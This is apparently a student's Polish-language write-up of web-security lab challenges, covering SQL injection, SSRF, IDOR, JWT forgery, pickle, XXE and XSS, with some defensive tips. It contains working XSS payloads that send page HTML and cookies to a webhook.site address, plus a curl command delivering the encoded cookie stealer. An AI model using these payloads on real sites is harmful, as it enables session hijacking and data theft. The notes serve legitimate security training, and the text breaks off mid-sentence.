http://web.kazet.cc:8010/

Jak podamy flagę to mamy 1 bit odpowiedzi - tak czy nie. Ale mamy SQL injection czyli możemy się wkleić `SELECT flag FROM flags WHERE flag='{flag} or flag like %'` - to dostaniemy poprawna flaga bo na pewo się dopasuje. Możemy zrobić `like F%` i jak dostaniemy poprawna to znaczy że się zgadza! I tak możemy po kolei zgadywać jakie są te znaki i możemy wten sposób zgadywać. Robimy do tego skrypt za pomocą biblioteki `python-request` - da się to zrobić szybciej niż zgadywać literka po literce - binsearch??? wtf - okej tego nie będę robił

http://web.kazet.cc:8017/

Dowolna ścieżka - wpiszmy, dostaniemy error zobaczymy że to ekran django. Django jest w trybie debug i wyświetla do czego próbuje dopasować - widzimy inną ścieżkę więc możemy tam wejść i wziąć flagę. Tutaj podatnosć jest taka, że aplikacja jest ciągle w wersji Debug skonfigurowana i wyświetla trochę za dużo.

http://web.kazet.cc:8026/

Jak działa infrastruktura? Są dwa serwisy - frontend i inny mikroserwis w jakiejś sieci wewnętrznej. Podświetlanie składni to inny mikroserwis. Mikroserwis "frontend" łączy się i robi HTTP zapytanie do tego innego mikroserwisu - tam gdzieś może być flaga.

Server Side Request Forgery - SSRF

Ten URL który podamy jest szukany w tym mikroserwisu wewnątrz sieci, a on jest w sieci wewnętrznej i widzi co jest w sieci wewnętrznej. Możemy więc wpisać w URL jakieś lokalne adresy i zobaczyć.

Wpiszmy więc `http://127.0.0.1` - mikroserwis zobaczy kod jego samego i on ma flagę

SSRF jest niebezpieczny - użytkownik z zewnątrz może zaglądać tak do sieci wewnętrznej. To znaczy, że musimy rzeczy w sieci wewnętrznej też przesyłać zakodowane rzeczy. Ktoś z zewnątrz może przeglądać otwarte porty. SSRF w AWS jest niebezpieczny - jak mamy to możemy łatwo ściągnąć poświadczenia AWS z wewnętrznej sieci.

http://web.kazet.cc:8018/

Wystarczy spreparować ścieżkę do innego posta - post nr 1136.

Podatność **IDOR (Insecure Direct Object Reference)** - użytkownik może podglądnąć zasoby które powinny być widoczne dla innego użytkonwika. Brak kontroli dostępu.

Najlepiej zrobić middleware który przed dostępem do każdej końcówki weryfikuje użytkownika - bo zapomnisz przy pisaniu którejś!

Warto też, żeby ID użytkownika było na tyle duże że nie da się przeiterować.

http://web.kazet.cc:8036/

Kod aplikacji: http://web.kazet.cc:8036/static/app.py - dla pomocy

Jak działajy kiedyś sesje? ID sesji trzymamy w cookies, na serwerze dla ID sesji trzymamy jakieś dane o użytkowniku np. że zalogowany jest Smith.

Jak teraz działają sesje? Jest problem z tym starym podejściem bo wiele serwerów musi mieć info o sesji, jest rozproszenie aplikacji. Dodatkowo jest też load balancing. To gdzie trzymać informacje o sesji użytkownika? Centralna baza danych sesji wszystkich! Wady: wolno i centralizowane

Albo przerzucenie tego na klienta - czyli dane o sesji są trzymane u użytkownika w cookies. Ale to czemu user sobie nie możę zmienić w takim razie tych plików? Bo są podpisane cyfrowo (kryptograficzne) - jest tam jakiś hasz kontrolny. Jak wysyłamy stronie i się nie zgadza podpis.

Wada? Użytkownik może sobie łamać ten token

Najpopularniejszy format trzymania danych **JWT**

https://jwt.io/

Składa się na nagłówek, payload i podpis który jest haszem nagłówka i payload - wtedy zmienia się hasz

W kodzie widzimy, że aplikacja ma zapisane `SECRET_KEY` w zmiennej - to secret key jest parametrem funkcji haszującej i jest potrzebne do zdehaszowania. Jak je mamy to możemy łatwo preparować tokeny i je łamać!

Zarejestrujmy się i zalogujmy i zgodnie z tym co jest w kodzie jesteśmy zalogowani. Wejdźmy sobie w cookies i widzimy nasz token że jesteśmy zalogowani. Sprawdźmy sobie na stronie JWT że jest to klucz - no a znamy `SECRET_KEY` bo jest w kodzie więc możemy sobie preparować nowe tokeny za pomocą tego klucza np. z nazwą "admin". Możemy też dodać addon editThisCookie i podmienić - albo w Chrome Inspect, Application, cookies i zmodyfikować value

Odświeżmy stronę i jesteśmy zalogowani!

Podatność - jest wyciek `SECRET_KEY` do **JWT**

Niebezpieczne formaty danych:

Pickle - format do zapisywania obiektów w python do pliku. `pickle.dumps(obj)` - dostajemy ciąg bajtów który zapisujemy do pliku i możemy go otworzyć. `picke.loads(serialized_file)`

Pickle przy rozpakowywaniu może wykonywać dowolny kod, wystarczy zdefiniować w obiekcie w `_reduce_`

Jak pobierzemy i otworzymy ten plik `pickle` z zadania to dostaniemy śmieszny (straszny) popup

http://web.kazet.cc:8011/

XML - stary format danych, używane jest w wielu miejscach. Kiedyś był zamiast jsona. Może też dane pobierać z innych źródeł poza zawierania ich - to feature **XML External Entities (XXE)** który można użyć jako podatność.

Zadanie: trzeba odczytać plik `/flag.txt`. Można przesyłać EPUB ale EPUB to jest zip który ma pod spodem XML.

bmaupin/epub-samples na github - to małe epuby, w relaeases można ściągnąć minimal-v2.

Trzeba rozpakować jako zip, zmodyfikować dokument wstrzykując XXE - można z internetu pobrać sample tylko trzeba zmienić ścieżkę na `/flag.txt`

Potem znów zipujemy i zmieniamy rozszerzenie na `.epub`

Jak się bronić? Parser XML może wyłączyć XXE żeby było bezpiecznie.

http://web.kazet.cc:8014/

Na `pickle`

http://web.kazet.cc:8003/

Zabezpieczenia są po stronie klienta, w HTMLu przesłanym do nas. Trzeba zrobić "zbadaj źródło" - wyłączyć blokadę na znaki i usunąć w checkboxie `enabled`

Trzeba mieć zabezpieczenia nie tylko u klienta le też po stronie serwera.

Inna sytuacja: mamy frontend, klient tam coś wyszukuje, front skleja query i wysyła do bazy danych. To niebepezpieczne mieć tak wystawioną bazę. Trzeba mieć pomiędzy nimi serwer który separuje.

http://web.kazet.cc:8012/

Stronka `webhook.site` - generuje malicious link, gdy ktoś na niego wejdzie/wyśle tam zapytanie HTTP to widzimy wszystkie szczegóły z zapytania HTTP.

Chcemy wyświetlić flagę po stronie administratora - on ma taki przycisk `show flag` i chcemy jakoś to użyć. Hopefully chcemy wykraść kod HTML jego strony bo tam pod przyciskiem będzie ta flaga zapisana.

Zauważmy, że strona renderuje jako HTML cokolwiek się jej wyśle jako komentarz - można więc wstrzyknąć HTML z js!

```
<script>
    alert(document.body.innerHTML);
</script>
```

Teraz zobaczymy ciało html i faktycznie jest tam flaga. Możemy wstrzyknąć HTML z JS który wejdzie na nasz malicious link i wyśle tam zawartość strony.

Moje rozwiązanie - skrypt który elegancko czyta html i wysyła na moją stronkę.

```
TECHNET43

<script type="text/javascript">
    const xhr = new XMLHttpRequest();

    xhr.open('POST', 'https://webhook.site/ea3d4fec-997d-4927-abdf-ae81fec48a91',
false);

    var text = document.body.innerHTML;
    xhr.send(text);
</script>
```

Rozwiązanie prowadzącego - mi nie działało

```
<script>
    // btoa - zakodowanie base64 żeby nie bylo dziwnych znaczkow
    window.location = 'https://webhook.site/.....a91?' +
btoa(document.body.innerHTML);
</script>
```

To podatność Cross-Site Scripting (XSS), powinno się nazywać Javascript Injection.

Same Origin Policy

Strony mogą się porozumiewać tylko z tego samego portu/domeny.

To widać w http://web.kazet.cc/7002 - spróbujmy w konsoli js przeczytać zawartość jednego okienka - bez problemu. Zawartośc drugiego okienka, nie da się przez Same Origin Policy. Można oglądać, wyświetlać renderować, ale nie można czytać z JS

My obeszliśmy to w poprzednim zadaniu wykonując kod js z poziomu origina.

http://web.kazet.cc:8024

Podpowiedź oficjalna: Pomocne do modyfikacji żądań: "copy as cURL..." w przeglądarce

Tutaj problem jest taki, że po stronie klienta rzeczy które są htmlami są rozwijane i zabezpieczane - musimy to jakoś obejść.

Po stronie admina

Wyślijmy przykładowy request do admina, w zakładce network widzimy co zostało wysłane - zróbmy `copy as curl` i wklejmy w terminal. Teraz możemy to wysyłać z poziomu terminala i wkleić customowe zapytanie obchodząc nasz frontend. Trzeba będzie tylko odpowiednio zakodować

Oryginalne zapytanie wklejone:

```
curl 'http://web.kazet.cc:8024/' \
  -H 'Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' \
  -H 'Accept-Language: en-US,en;q=0.9' \
  -H 'Cache-Control: no-cache' \
  -H 'Connection: keep-alive' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -H 'Cookie:
csrftoken=fdhNGeGHRcV7drreT3op2zOzqVsBmIyrhpaRUPg8CCzmP93TSAzYHtbzxgnIeLxe' \
  -H 'Origin: http://web.kazet.cc:8024' \
  -H 'Pragma: no-cache' \
  -H 'Referer: http://web.kazet.cc:8024/' \
  -H 'Upgrade-Insecure-Requests: 1' \
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/101.0.0.0 Safari/537.36' \
  --data-raw
'comment=%3Cp%3E%3Cstrong%3ETest+%3C%2Fstrong%3E%3Ci%3E%3Cstrong%3Easdg%3C%2Fstro
ng%3E%3C%2Fi%3E%3C%2Fp%3E' \
  --compressed \
  --insecure
```

Teraz musimy podmienić zawartość `comment` na http encoding naszego skryptu do wyciągania ciasteczek:

```
TECHNET43

<script type="text/javascript">
    const xhr = new XMLHttpRequest();

    xhr.open('POST', 'https://webhook.site/ea3d4fec-997d-4927-abdf-ae81fec48a91',
false);

    const value = `; ${document.cookie}`;
    xhr.send(value);
</script>
```

Enkodujemy na stronie https://www.urlencoder.org/ i wklejamy do obszaru `comment`

```
curl 'http://web.kazet.cc:8024/' \
  -H 'Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' \
  -H 'Accept-Language: en-US,en;q=0.9' \
  -H 'Cache-Control: no-cache' \
  -H 'Connection: keep-alive' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -H 'Cookie:
csrftoken=fdhNGeGHRcV7drreT3op2zOzqVsBmIyrhpaRUPg8CCzmP93TSAzYHtbzxgnIeLxe' \
  -H 'Origin: http://web.kazet.cc:8024' \
  -H 'Pragma: no-cache' \
  -H 'Referer: http://web.kazet.cc:8024/' \
  -H 'Upgrade-Insecure-Requests: 1' \
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/101.0.0.0 Safari/537.36' \
  --data-raw
'comment=TECHNET43%0A%0A%3Cscript%20type%3D%22text%2Fjavascript%22%3E%0A%0A%09con
st%20xhr%20%3D%20new%20XMLHttpRequest%28%29%3B%0A%0A%09xhr.open%28%27POST%27%2C%2
0%27https%3A%2F%2Fwebhook.site%2Fea3d4fec-997d-4927-abdf-
ae81fec48a91%27%2C%20false%29%3B%0A%09%0A%09const%20value%20%3D%20%60%3B%20%24%7B
document.cookie%7D%60%3B%0A%09xhr.send%28value%29%3B%0A%3C%2Fscript%3E' \
  --compressed \
  --insecure
```

Wysyłamy i na naszym